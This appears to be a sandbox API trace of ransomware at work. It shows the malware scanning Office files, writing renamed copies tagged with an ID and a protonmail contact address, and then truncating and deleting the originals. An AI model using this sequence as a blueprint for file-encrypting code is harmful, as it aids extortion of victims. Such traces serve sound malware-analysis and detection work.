	[0068.644] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.644] lstrlenW (lpString=".xlsx") returned 5
	[0068.644] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.644] lstrlenW (lpString=".ppt") returned 4
	[0068.644] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.644] lstrlenW (lpString=".zip") returned 4
	[0068.644] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.644] lstrlenW (lpString=".rar") returned 4
	[0068.644] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.644] lstrlenW (lpString=".bz2") returned 4
	[0068.644] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.645] lstrlenW (lpString=".7z") returned 3
	[0068.645] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.645] lstrlenW (lpString=".dbf") returned 4
	[0068.645] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.645] lstrlenW (lpString=".1cd") returned 4
	[0068.645] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.645] lstrlenW (lpString=".jpg") returned 4
	[0068.645] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.645] lstrlenW (lpString=".doc") returned 4
	[0068.645] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.645] lstrlenW (lpString=".docx") returned 5
	[0068.645] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.645] lstrlenW (lpString=".pdf") returned 4
	[0068.645] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.645] lstrlenW (lpString=".xls") returned 4
	[0068.645] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.645] lstrlenW (lpString=".xlsx") returned 5
	[0068.645] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.645] lstrlenW (lpString=".ppt") returned 4
	[0068.645] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.645] lstrlenW (lpString=".zip") returned 4
	[0068.645] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.645] lstrlenW (lpString=".rar") returned 4
	[0068.645] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.645] lstrlenW (lpString=".bz2") returned 4
	[0068.645] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.646] lstrlenW (lpString=".7z") returned 3
	[0068.646] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.646] lstrlenW (lpString=".dbf") returned 4
	[0068.646] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.646] lstrlenW (lpString=".1cd") returned 4
	[0068.646] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0068.646] lstrlenW (lpString=".jpg") returned 4
	[0068.646] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.646] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.646] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53
	[0068.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.646] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1261) returned 1
	[0068.646] CloseHandle (hObject=0x338) returned 1
	[0068.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.647] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.647] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.647] GetLastError () returned 0x0
	[0068.647] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0068.661] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0068.662] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.662] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.662] SetEndOfFile (hFile=0x364) returned 1
	[0068.662] CloseHandle (hObject=0x364) returned 1
	[0068.663] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.663] SetEndOfFile (hFile=0x338) returned 1
	[0068.664] CloseHandle (hObject=0x338) returned 1
	[0068.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.665] lstrlenW (lpString=".doc") returned 4
	[0068.665] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.665] lstrlenW (lpString=".docx") returned 5
	[0068.665] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.665] lstrlenW (lpString=".pdf") returned 4
	[0068.665] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.665] lstrlenW (lpString=".xls") returned 4
	[0068.665] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.665] lstrlenW (lpString=".xlsx") returned 5
	[0068.665] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.665] lstrlenW (lpString=".ppt") returned 4
	[0068.665] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.665] lstrlenW (lpString=".zip") returned 4
	[0068.665] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.665] lstrlenW (lpString=".rar") returned 4
	[0068.665] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.665] lstrlenW (lpString=".bz2") returned 4
	[0068.665] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.666] lstrlenW (lpString=".7z") returned 3
	[0068.666] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.666] lstrlenW (lpString=".dbf") returned 4
	[0068.666] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.666] lstrlenW (lpString=".1cd") returned 4
	[0068.666] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.666] lstrlenW (lpString=".jpg") returned 4
	[0068.666] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.666] lstrlenW (lpString=".doc") returned 4
	[0068.666] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.666] lstrlenW (lpString=".docx") returned 5
	[0068.666] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.666] lstrlenW (lpString=".pdf") returned 4
	[0068.666] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.666] lstrlenW (lpString=".xls") returned 4
	[0068.666] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.666] lstrlenW (lpString=".xlsx") returned 5
	[0068.666] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.666] lstrlenW (lpString=".ppt") returned 4
	[0068.666] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.666] lstrlenW (lpString=".zip") returned 4
	[0068.666] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.666] lstrlenW (lpString=".rar") returned 4
	[0068.666] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.666] lstrlenW (lpString=".bz2") returned 4
	[0068.667] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.667] lstrlenW (lpString=".7z") returned 3
	[0068.667] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.667] lstrlenW (lpString=".dbf") returned 4
	[0068.667] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.667] lstrlenW (lpString=".1cd") returned 4
	[0068.667] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0068.667] lstrlenW (lpString=".jpg") returned 4
	[0068.667] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.667] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.667] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53
	[0068.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.667] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=527958) returned 1
	[0068.667] CloseHandle (hObject=0x338) returned 1
	[0068.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0068.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.668] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.668] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.668] GetLastError () returned 0x0
	[0068.668] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x80e56, lpOverlapped=0x0) returned 1
	[0069.114] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x80e60, lpOverlapped=0x0) returned 1
	[0069.124] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.125] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0069.125] SetEndOfFile (hFile=0x364) returned 1
	[0069.125] CloseHandle (hObject=0x364) returned 1
	[0069.214] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.215] SetEndOfFile (hFile=0x338) returned 1
	[0069.720] CloseHandle (hObject=0x338) returned 1
	[0069.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1
	[0069.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.721] lstrlenW (lpString=".doc") returned 4
	[0069.721] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.721] lstrlenW (lpString=".docx") returned 5
	[0069.721] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0069.721] lstrlenW (lpString=".pdf") returned 4
	[0069.721] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.721] lstrlenW (lpString=".xls") returned 4
	[0069.722] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.722] lstrlenW (lpString=".xlsx") returned 5
	[0069.722] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0069.722] lstrlenW (lpString=".ppt") returned 4
	[0069.722] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.722] lstrlenW (lpString=".zip") returned 4
	[0069.722] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.722] lstrlenW (lpString=".rar") returned 4
	[0069.722] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.722] lstrlenW (lpString=".bz2") returned 4
	[0069.722] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.722] lstrlenW (lpString=".7z") returned 3
	[0069.722] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.722] lstrlenW (lpString=".dbf") returned 4
	[0069.722] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.722] lstrlenW (lpString=".1cd") returned 4
	[0069.722] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.722] lstrlenW (lpString=".jpg") returned 4
	[0069.722] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.722] lstrlenW (lpString=".doc") returned 4
	[0069.722] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.722] lstrlenW (lpString=".docx") returned 5
	[0069.722] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0069.722] lstrlenW (lpString=".pdf") returned 4
	[0069.722] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.723] lstrlenW (lpString=".xls") returned 4
	[0069.723] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.723] lstrlenW (lpString=".xlsx") returned 5
	[0069.723] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0069.723] lstrlenW (lpString=".ppt") returned 4
	[0069.723] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.723] lstrlenW (lpString=".zip") returned 4
	[0069.723] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.723] lstrlenW (lpString=".rar") returned 4
	[0069.723] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.723] lstrlenW (lpString=".bz2") returned 4
	[0069.723] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.723] lstrlenW (lpString=".7z") returned 3
	[0069.723] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.723] lstrlenW (lpString=".dbf") returned 4
	[0069.723] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.723] lstrlenW (lpString=".1cd") returned 4
	[0069.723] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0069.723] lstrlenW (lpString=".jpg") returned 4
	[0069.723] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.723] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.723] lstrlenW (lpString="AG00090_.GIF") returned 12
	[0069.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0069.725] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=517) returned 1
	[0069.725] CloseHandle (hObject=0x338) returned 1
	[0069.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220
	[0069.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0069.725] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.725] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.726] GetLastError () returned 0x0
	[0069.726] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x205, lpOverlapped=0x0) returned 1
	[0069.727] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x210, lpOverlapped=0x0) returned 1
	[0069.728] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.728] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.728] SetEndOfFile (hFile=0x320) returned 1
	[0069.728] CloseHandle (hObject=0x320) returned 1
	[0069.729] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.729] SetEndOfFile (hFile=0x338) returned 1
